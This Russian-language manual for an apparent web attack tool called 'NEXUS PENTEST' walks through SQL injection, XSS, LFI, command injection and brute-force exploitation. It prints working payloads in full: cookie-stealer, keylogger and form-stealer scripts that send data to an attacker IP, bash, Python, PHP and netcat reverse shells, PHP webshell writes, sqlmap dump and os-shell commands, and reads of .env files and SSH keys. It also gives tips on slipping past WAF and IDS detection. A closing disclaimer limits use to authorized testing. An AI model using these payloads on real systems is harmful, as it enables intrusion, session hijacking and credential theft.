

NEXUS PENTEST — Полная инструкция

1. УСТАНОВКА И ЗАПУСК

Шаг 1 — Установить Python

Скачать с сайта python.org, версия 3.10 или выше.

При установке ОБЯЗАТЕЛЬНО поставить галочку: Add Python to PATH

Шаг 2 — Скачать программу с GitHub

```
git clone https://github.com/nst05/tether-usdt-trc20.git
cd tether-usdt-trc20
git checkout claude/sleepy-meitner-AmH0z
cd pentest
```

Или скачать ZIP: GitHub -> Code -> Download ZIP -> распаковать -> зайти в папку pentest

В папке должны быть три файла:

pentest_gui.py — главный файл (запускать)
pentest_core.py — библиотека модулей
exploit_engine.py — движок эксплойтов

Шаг 3 — Установить зависимости

```
pip install customtkinter requests httpx paramiko beautifulsoup4 lxml dnspython websocket-client
```

Шаг 4 — Запуск

```
python pentest_gui.py
```

Возможные ошибки:

- 'pip не является командой'

```
python -m pip install customtkinter requests httpx paramiko beautifulsoup4 lxml dnspython websocket-client
```

- 'python не найден' — переустановить Python с галочкой Add to PATH
- 'ModuleNotFoundError: No module named X'

```
pip install X
```

2. ВКЛАДКА 'СКАНИРОВАНИЕ'

1. Ввести URL цели в поле: например `http://localhost.tu`
2. Во вкладке 'Настройки' выбрать нужные модули
3. Нажать кнопку 'Запустить сканирование'
4. Внизу в реальном времени виден лог — что сейчас проверяется
5. По завершении статус покажет итог: HIGH / MEDIUM / LOW / INFO

3. ВКЛАДКА 'НАХОДКИ'

Все уязвимости отсортированы по критичности:

HIGH — красный (критические, требуют немедленного исправления)

MEDIUM — жёлтый (важные)

LOW — синий (незначительные)

INFO — серый (информационные)

Фильтр — ввести слово для поиска: `sqli`, `xss`, `lfi` и т.д.

Фильтр по угрозе — `BCE` / `HIGH` / `MEDIUM` / `LOW`

Клик на строку -> внизу появятся полные детали находки

Кнопки `HTML` / `JSON` / `TXT` — экспорт полного отчёта

ПРАВЫЙ КЛИК на уязвимость — контекстное меню:

Для `SQLi` находок:

Авто эксплойт	— запускает полную автоматическую атаку
Получить таблицы	— достаёт список таблиц из базы данных
Версия БД / Юзер	— версия <code>MySQL</code> и текущий пользователь

Для `XSS` находок:

Cookie Stealer	— генерирует <code>payload</code> кражи кук
Keylogger	— генерирует <code>payload</code> кейлоггера
Сканер портов	— сканирует внутреннюю сеть через браузер
Запустить захват	— запускает сервер на порту <code>7777</code>

Для `LFI` находок:

Читать <code>/etc/passwd</code>	— список пользователей системы
Читать <code>.env</code>	— пароли БД и секретные ключи
PHP исходник	— читает <code>PHP</code> файлы через <code>php://filter</code>

Для `CMDi` находок:

<code>id && whoami</code>	— проверить от какого юзера работает сервер
<code>ls -la /</code>	— содержимое корневой директории
Reverse Shell	— <code>payload</code> для обратного подключения

Всегда доступно:

Копировать URL	— скопировать URL в буфер
Копировать детали	— скопировать детали находки
Открыть в ручном запросе	— открыть URL во вкладке Ручной запрос

NEXUS PENTEST — Полная инструкция

4. ВКЛАДКА 'ИСТОРИЯ'

Показывает все HTTP запросы которые делала программа во время сканирования.

Цвета строк:

- Зелёный — 2xx (успешные)
- Синий — 3xx (перенаправления)
- Красный — 4xx (ошибки клиента)
- Оранжевый — 5xx (ошибки сервера)

Клик на запрос — внизу видишь полный Request и Response

5. ВКЛАДКА 'КОДИРОВЩИК'

Инструмент для кодирования и декодирования данных вручную:

1. Вставить текст в поле
2. Выбрать тип кодирования:
 - Base64 — стандартное кодирование
 - URL — кодирование для URL (%20, %3D и т.д.)
 - HTML — экранирование HTML (< > &)
 - Hex — шестнадцатеричное представление
 - MD5 — хеш MD5
 - SHA1 — хеш SHA1
 - SHA256 — хеш SHA256

3. Нажать Кодировать или Декодировать

4. Результат скопировать кнопкой

Применение: обход WAF, подготовка payload'ов, декодирование токенов JWT

6. ВКЛАДКА 'ФАЗЗЕР'

Автоматический перебор payload'ов по списку.

1. Ввести URL с маркером FUZZ в нужном месте:

```
http://localhost.tu/page?id=FUZZ
http://localhost.tu/FUZZ.php
http://localhost.tu/catalog/?q=FUZZ
```

2. Выбрать список payload'ов:

- XSS — межсайтовый скриптинг
- SQLi — SQL инъекции
- LFI — включение локальных файлов
- Кастомный — загрузить свой список

3. Указать количество потоков (по умолчанию 10)

4. Нажать Запустить

5. Программа перебирает и показывает аномальные ответы:

- необычный размер ответа
- другой статус код

— большое время ответа (возможный blind SQLi)

7. ВКЛАДКА 'РУЧНОЙ ЗАПРОС'

Аналог Burp Suite Repeater — отправлять запросы вручную:

1. Ввести URL
2. Выбрать метод: GET / POST / PUT / DELETE / PATCH
3. Добавить заголовки (Cookie, Authorization, и т.д.)
4. Добавить тело запроса (для POST)
5. Нажать Отправить
6. Справа — полный ответ сервера: статус, заголовки, тело

Применение: ручная проверка уязвимостей, тест бизнес-логики, перебор параметров

8. ЭКСПЛОИТ — SQLi (SQL ИНЪЕКЦИЯ)

Когда использовать:

Сканер нашёл находку с модулем 'sqli' — SQL Injection (time-based) или SQL Injection (error-based)

Порядок действий:

1. Правый клик на находку -> Авто эксплойт
ИЛИ перейти во вкладку Эксплойт -> SQLi Эксплойт
2. Ввести URL уязвимой страницы
3. Ввести уязвимый параметр (из поля 'Detail' в находке)
4. Выбрать метод GET или POST

Кнопки и что они делают:

Авто эксплойт	— выполняет все шаги автоматически: столбцы -> тип БД -> версия -> юзер -> таблицы
Найти столбцы	— определяет количество столбцов через ORDER BY: Payload: 1' ORDER BY 1-- / ORDER BY 2-- ...
Версия БД	— получает версию сервера БД: MySQL: SELECT version() MSSQL: SELECT @@version PostgreSQL: SELECT version()
Пользователь	— текущий пользователь и имя базы: SELECT user(), database()
Таблицы	— список всех таблиц текущей базы: SELECT table_name FROM information_schema.tables WHERE table_schema=database()
Столбцы	— ввести имя таблицы -> получить столбцы: SELECT column_name FROM information_schema.columns WHERE table_name='users'
Дамп таблицы	— ввести таблицу и столбцы -> выгрузить данные: SELECT id,email,password FROM users LIMIT 20

Ручные команды через sqlmap (в терминале):

```
# Найти уязвимость и получить базы данных
sqlmap -u "http://localhost.tu/catalog/?q=1" --dbs --batch

# Получить таблицы конкретной базы
sqlmap -u "http://localhost.tu/catalog/?q=1" -D название_базы --tables --batch

# Получить столбцы таблицы
sqlmap -u "http://localhost.tu/catalog/?q=1" -D база -T users --columns --batch
```

NEXUS PENTEST — Полная инструкция

```
# Выгрузить данные таблицы
sqlmap -u "http://localhost.tu/catalog/?q=1" -D база -T users --dump --batch

# POST запрос
sqlmap -u "http://localhost.tu/login" --data="user=1&pass=1" -p user --dbs --batch

# Обход WAF
sqlmap -u "http://localhost.tu/?q=1" --tamper=space2comment,between --dbs --batch

# Получить OS shell
sqlmap -u "http://localhost.tu/?q=1" --os-shell --batch
```

Что делать с найденными паролями:

Пароли обычно хранятся в виде хешей. Для расшифровки:

```
# Установить hashcat
# Определить тип хеша по виду:
$2y$... или $2a$... = bcrypt
32 символа          = MD5
40 символов         = SHA1
64 символа          = SHA256

# Взломать MD5 хеш:
hashcat -m 0 -a 0 hash.txt rockyou.txt

# Взломать bcrypt:
hashcat -m 3200 -a 0 hash.txt rockyou.txt

# Онлайн сервисы: crackstation.net, hashes.com
```

9. ЭКСПЛОИТ — XSS (МЕЖСАЙТОВЫЙ СКРИПТИНГ)

Когда использовать:

Сканер нашёл находку 'Reflected XSS' или 'DOM XSS' с модулем 'xss'

Шаг 1 — Запустить Сервер захвата:

Вкладка Эксплойт -> Сервер захвата -> Запустить

Сервер запустится на `http://TBO_IP:7777`

Скопировать URL — он нужен для payload'ов

Cookie Stealer — кража сессии:

```
# Payload вставляется в уязвимый параметр:
<script>document.location='http://TBO_IP:7777/?c='+encodeURIComponent(document.cookie)</script>

<img src=x onerror="fetch('http://TBO_IP:7777/?c='+encodeURIComponent(document.cookie))">

<svg onload="location='http://TBO_IP:7777/?c='+document.cookie">

# Пример внедрения через URL:
http://localhost.tu/search?q=<script>document.location='http://IP:7777/?c='+document.cookie</script>
```

Keylogger — перехват нажатий клавиш:

```
<script>
var k='';
document.onkeypress=function(e){
    k+=e.key;
    if(k.length%10==0) fetch('http://TBO_IP:7777/?k='+btoa(k));
};
</script>
```

Сканер внутренних портов:

```
<script>
var ports=[80,443,22,21,3306,5432,6379,8080,27017];
var open=[];
ports.forEach(function(p){
    var img=new Image(); var t=Date.now();
    img.onload=img.onerror=function(){
        if(Date.now()-t<500) open.push(p);
        if(open.length) fetch('http://TBO_IP:7777/?ports='+open.join(',')');
    };
    img.src='http://127.0.0.1:'+p+'/x';
});
</script>
```

Кража форм (логин/пароль когда жертва вводит):

```
<script>
document.querySelectorAll('form').forEach(function(f){
    f.addEventListener('submit',function(){
```

NEXUS PENTEST — Полная инструкция

```
var d=new FormData(f); var obj={};
d.forEach(function(v,k){obj[k]=v});
fetch('http://ТВОЙ_IP:7777',{method:'POST',body:JSON.stringify(obj)});
});
});
</script>
```

Как использовать украденные куки:

1. Сервер захвата получил: cookie=session=abc123xyz
2. Открыть браузер -> F12 -> Console:
document.cookie = 'session=abc123xyz'
3. Перейти на сайт – ты вошёл как жертва

Или через curl:

```
curl -b 'session=abc123xyz' http://localhost.tu/admin
```

10. ЭКСПЛОИТ — LFI (ЧТЕНИЕ ЛОКАЛЬНЫХ ФАЙЛОВ)

Когда использовать:

Сканер нашёл 'LFI/Path Traversal' с модулем 'lfi'

Вкладка Эксплойт -> LFI Чтение:

1. Ввести URL уязвимой страницы
2. Ввести уязвимый параметр (из находки)
3. Нажать нужную кнопку

Читать /etc/passwd — список пользователей системы:

```
# Программа пробует:
http://localhost.tu/?page=/etc/passwd
http://localhost.tu/?page=../../../../etc/passwd
http://localhost.tu/?page=php://filter/convert.base64-encode/resource=/etc/passwd

# Ищем в ответе:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

Читать .env — секретные ключи и пароли БД:

```
# Программа ищет файл по путям:
/proc/self/environ
../../../../.env
../../../../.env

# Что ищем в ответе:
APP_KEY=base64:xxx    <- ключ шифрования Laravel
DB_PASSWORD=secret    <- пароль базы данных
DB_USERNAME=root      <- логин базы данных
MAIL_PASSWORD=xxx     <- пароль почты
AWS_SECRET=xxx        <- ключи AWS
```

PHP исходник через php://filter:

```
# Читает PHP файл в base64 (обход ограничений):
http://localhost.tu/?page=php://filter/convert.base64-encode/resource=index.php

# Расшифровать base64 вручную:
python3 -c "import base64; print(base64.b64decode('ПОЛУЧЕННАЯ_СТРОКА').decode())"

# Что искать в исходниках:
- Жёстко вписанные пароли
- Логику авторизации
- SQL запросы
- Пути к файлам и конфигам
```

Log Poisoning — выполнение команд через LFI:

```
# Шаг 1: Отравить лог — вписать PHP код в User-Agent:
```

NEXUS PENTEST — Полная инструкция

```
curl -A '<?php system($_GET["cmd"]); ?>' http://localhost.tu/
```

Шаг 2: Подключить лог через LFI:

```
http://localhost.tu/?page=/var/log/nginx/access.log&cmd=id
```

Другие пути логов:

```
/var/log/apache2/access.log
```

```
/var/log/apache/access.log
```

```
/proc/self/fd/2
```

Если сработало — в ответе увидишь:

```
uid=33(www-data) gid=33(www-data)
```

Полезные файлы для чтения:

/etc/passwd	— пользователи системы
/etc/hosts	— сетевая конфигурация
/proc/self/environ	— переменные окружения
/var/www/.env	— конфиг Laravel
/var/www/html/.env	— конфиг приложения
config/database.php	— конфиг БД
/etc/mysql/my.cnf	— конфиг MySQL
/root/.ssh/id_rsa	— приватный SSH ключ root

11. ЭКСПЛОИТ — CMDi (ВЫПОЛНЕНИЕ КОМАНД)

Когда использовать:

Сканер нашёл 'Command Injection' с модулем 'cmdi'

Вкладка Эксплойт -> CMDi Выполнение:

1. Ввести URL и уязвимый параметр
2. В поле 'Команда' написать что выполнить
3. Нажать Выполнить

Программа перебирает разделители:

; команда	— точка с запятой
команда	— пайп
& команда	— амперсанд
`команда`	— обратные кавычки
\$(команда)	— подстановка
%0a команда	— перенос строки (URL encoded)

Примеры payload'ов:

```
http://localhost.tu/?host=127.0.0.1; id
http://localhost.tu/?host=127.0.0.1| whoami
http://localhost.tu/?host=127.0.0.1`cat /etc/passwd`
```

Полезные команды для проверки:

id	— узнать пользователя
whoami	— имя текущего пользователя
hostname	— имя сервера
uname -a	— версия ОС и ядра
cat /etc/passwd	— список пользователей
ls -la /var/www	— файлы сайта
cat /var/www/.env	— секреты приложения
ifconfig / ip a	— сетевые интерфейсы
netstat -tulnp	— открытые порты
ps aux	— запущенные процессы
crontab -l	— задачи cron
find / -name '*.env' 2>/dev/null	— найти .env файлы

Reverse Shell — обратное подключение:

1. На своём компьютере запустить слушатель:

```
nc -lvp 4444
```

2. В программе нажать 'Reverse Shell payloads', ввести свой IP и порт
3. Выбрать один из payload'ов и отправить на сервер:

Bash:

```
bash -i >& /dev/tcp/TB0Й_IP/4444 0>&1
```

Python3:

```
python3 -c 'import
```

NEXUS PENTEST — Полная инструкция

```
socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])
```

PHP:

```
php -r '$sock=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Netcat:

```
nc -e /bin/bash IP 4444
```

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 4444 >/tmp/f
```

4. На своём компьютере появится shell — полный доступ к серверу

12. ЭКСПЛОИТ — ADMINER БРУТФОРС

Adminer — это веб-интерфейс для управления базой данных.

Если он доступен (находка: /adminer.php) — можно подобрать пароль.

1. Ввести URL: `http://localhost.tu/adminer.php`
2. Список серверов (каждый с новой строки): `127.0.0.1, localhost, db, mysql`
3. Список пользователей: `root, admin, laravel, user`
4. Список паролей: `root, secret, password, 123456`, (пустой)
5. Нажать Запустить — видишь каждую попытку в реальном времени

При нахождении:

```
[!!!!] VALID: server=127.0.0.1 user=root password='root'
```

Затем войти в Adminer через браузер и получить полный доступ к БД.

Через Adminer можно:

- Читать и изменять любые данные
- Создать нового администратора
- Выполнить SQL запросы
- Загрузить PHP shell через: `SELECT '<?php system($_GET["c"])?>' INTO OUTFILE '/var/www/html/shell.php'`

13. БИЗНЕС-ЛОГИКА — УНИКАЛЬНЫЕ УЯЗВИМОСТИ

IDOR Сканер — доступ к чужим данным:

IDOR (Insecure Direct Object Reference) — можно получить данные другого пользователя просто изменив ID в запросе.

1. URL: `http://localhost.tu/order?id=1`
2. Параметр: `id`
3. Диапазон: от 1 до 100
4. Нажать Сканировать

Программа сравнивает каждый ответ с базовым — если размер отличается > 50 байт, это возможный IDOR. Проверить вручную:

```
# Запрос от своего аккаунта:
curl -b 'session=МОЙ_ТОКЕН' http://localhost.tu/order?id=100

# Если видишь чужой заказ — IDOR подтверждён!
```

Гонка запросов (Race Condition):

Одновременная отправка множества запросов может вызвать:

- Многократное списание баллов
- Использование промокода несколько раз
- Двойное пополнение баланса

1. Ввести URL (например `http://localhost.tu/apply-promo`)
2. Параметр: `code`
3. Количество потоков: 50-100
4. Нажать Запустить гонку

Если среди 50 ответов есть разные статусы или размеры — уязвимость найдена.

Вручную через Python:

```
import threading, requests

def send():
    requests.post('http://localhost.tu/apply-promo',
                  data={'code': 'PROMO2024'},
                  cookies={'session': 'ТВОЙ_ТОКЕН'})

threads = [threading.Thread(target=send) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()
```

Манипуляция ценой:

Проверяет принимает ли сервер некорректные значения цен:

```
Тесты:
price = -1      -> купить товар за отрицательную цену
price = 0       -> купить бесплатно
price = 0.001   -> купить за копейку
price = 9999999 -> проверить переполнение
```

NEXUS PENTEST — Полная инструкция

price = abc -> строка вместо числа

Если сервер принял заказ с отрицательной/нулевой ценой — критическая уязвимость!

Цепочки эксплойтов:

После сканирования нажать 'Анализировать находки' — программа предложит цепочки:

SQLi -> Дамп паролей -> Взлом хешей -> Вход как администратор

XSS + Админка -> Украсть куки админа -> Полный доступ к панели

LFI -> Читать .env -> Получить APP_KEY -> Подделать сессию

LFI + SQLi -> Записать PHP shell в БД -> Подключить через LFI -> RCE

CMDi -> Reverse Shell -> Полный доступ к серверу

Adminer -> Брутфорс root:root -> Войти в БД -> Записать PHP shell

14. НАСТРОЙКИ

Включить/выключить модули сканирования:

Заголовки — проверяет наличие security headers (CSP, HSTS и т.д.)

Пути — перебирает скрытые файлы и директории

XSS — тестирует параметры на межсайтовый скриптинг

SQLi — тестирует параметры на SQL инъекции

LFI — тестирует параметры на чтение файлов

SSTI — тестирует инъекции в шаблонизаторы (Jinja2, Twig)

CMDi — тестирует выполнение команд ОС

Blind SQLi — медленная но глубокая проверка (извлечение данных)

Количество потоков: больше = быстрее, но заметнее для WAF/IDS сервера.

Рекомендуется: 5-10 для незаметного сканирования, 20-50 для быстрого.

**ВАЖНО: Программа предназначена ТОЛЬКО для тестирования
СОБСТВЕННОГО сервера или с явного письменного разрешения.
Использование против чужих сайтов — уголовная ответственность.**